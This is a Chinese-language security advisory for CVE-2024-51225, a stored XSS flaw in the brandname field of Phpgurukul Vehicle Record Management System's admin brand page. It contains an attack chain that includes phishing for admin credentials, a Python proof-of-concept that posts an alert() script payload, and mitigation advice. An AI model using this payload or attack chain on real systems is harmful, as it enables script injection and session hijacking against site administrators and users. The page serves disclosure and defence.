IPBUF安全漏洞报告
English
CVE-2024-51225 CVSS 4.8 中危

CVE-2024-51225 Phpgurukul车辆管理系统存储型XSS漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2024-51225
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Phpgurukul Vehicle Record Management System

相关标签

XSS存储型跨站脚本PhpgurukulCVE-2024-51225车辆管理系统

漏洞概述

Phpgurukul Vehicle Record Management System v1.0 版本中存在一个存储型跨站脚本(XSS)漏洞。该漏洞位于 `/admin/add-brand.php` 组件中,由于系统未能对 `brandname` 参数进行充分的安全过滤,攻击者可以注入任意恶意的Web脚本或HTML代码。一旦管理员或其他用户访问受影响的页面,注入的恶意脚本将在其浏览器中自动执行,从而导致会话劫持、敏感信息窃取或其他恶意操作。利用此漏洞需要攻击者拥有高权限账号并进行用户交互。

技术细节

该漏洞属于经典的存储型XSS(Stored XSS)。漏洞根源在于 Phpgurukul 车辆管理系统的品牌添加模块缺乏输出编码机制。当具有高权限(PR:H)的攻击者访问 `/admin/add-brand.php` 页面并添加新品牌时,系统直接接收 `brandname` 参数的值,并未对其进行 HTML 实体编码(如将 `<` 转义为 `&lt;`)或输入验证,便将其存储在后端数据库中。由于数据被持久化保存,当后续有用户访问显示品牌列表的页面时,服务器会从数据库读取该恶意字符串并将其直接嵌入到 HTML 响应中返回给客户端。浏览器解析 HTML 时,会将攻击者注入的脚本视为合法代码并执行。由于 CVSS 向量中作用域为 Changed(S:C),该漏洞可能不仅影响当前页面,还可能波及同一浏览器上下文中的其他会话。

攻击链分析

STEP 1
侦察
攻击者识别目标系统为 Phpgurukul Vehicle Record Management System v1.0,并定位到管理后台的 /admin/add-brand.php 页面。
STEP 2
获取权限
由于漏洞需要高权限(PR:H),攻击者通过钓鱼或其他手段获取管理员账号密码并登录系统。
STEP 3
漏洞利用
攻击者访问品牌添加页面,在 brandname 参数中注入恶意 JavaScript 脚本并提交,脚本被存储在数据库中。
STEP 4
触发攻击
等待管理员或其他用户访问品牌列表页面,恶意脚本从数据库加载并在受害者浏览器中执行,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2024-51225 # This script demonstrates the Stored XSS vulnerability in the brandname parameter. import requests target_url = "http://target-ip/admin/add-brand.php" # The payload to be injected payload = "<script>alert('CVE-2024-51225 XSS');</script>" # Data to be sent in the POST request # Parameter names might vary, 'brandname' is specified in the CVE description data = { "brandname": payload, # Other required parameters might be needed for the form submission "submit": "submit" } # Note: Authentication is required (PR:H) cookies = { "PHPSESSID": "logged_in_session_id_here" } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully.") print("Check the brand listing page to verify execution.") else: print("Failed to inject payload.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Phpgurukul Vehicle Record Management System 1.0

防御指南

临时缓解措施
建议管理员立即对 `brandname` 参数实施严格的输入过滤,移除或转义特殊字符(如 `<`, `>`, `"`, `'`, `&`)。在输出数据时使用 `htmlspecialchars()` 等函数进行转义处理。如果无法立即升级代码,应通过 Web 应用防火墙(WAF)配置规则,拦截针对该参数的常见 XSS 攻击载荷,并严格限制管理后台的访问 IP 列表。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表